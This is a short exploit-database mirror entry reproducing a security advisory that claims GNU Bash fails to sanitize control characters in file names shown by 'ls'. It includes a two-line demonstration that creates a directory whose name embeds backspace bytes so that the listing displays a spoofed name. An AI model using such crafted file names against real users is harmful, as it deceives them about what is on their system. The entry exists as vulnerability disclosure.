exploit-db-mirror/platforms/linux/local/33508.txt
Offensive Security 1a66c6956f Updated 05_27_2014
2014-05-27 04:36:34 +00:00

16 lines
No EOL
446 B
Text
Executable file

source: http://www.securityfocus.com/bid/37776/info
GNU Bash is prone to a command-injection vulnerability because it fails to adequately sanitize control characters in the 'ls' command.
Attackers can exploit this issue to execute arbitrary commands in a bash terminal; other attacks may also be possible.
The following example is available:
1. mkdir $(echo -e 'couc\x08\x08asd')
2. ls
Displays:
coasd/
Expected:
couc??asd/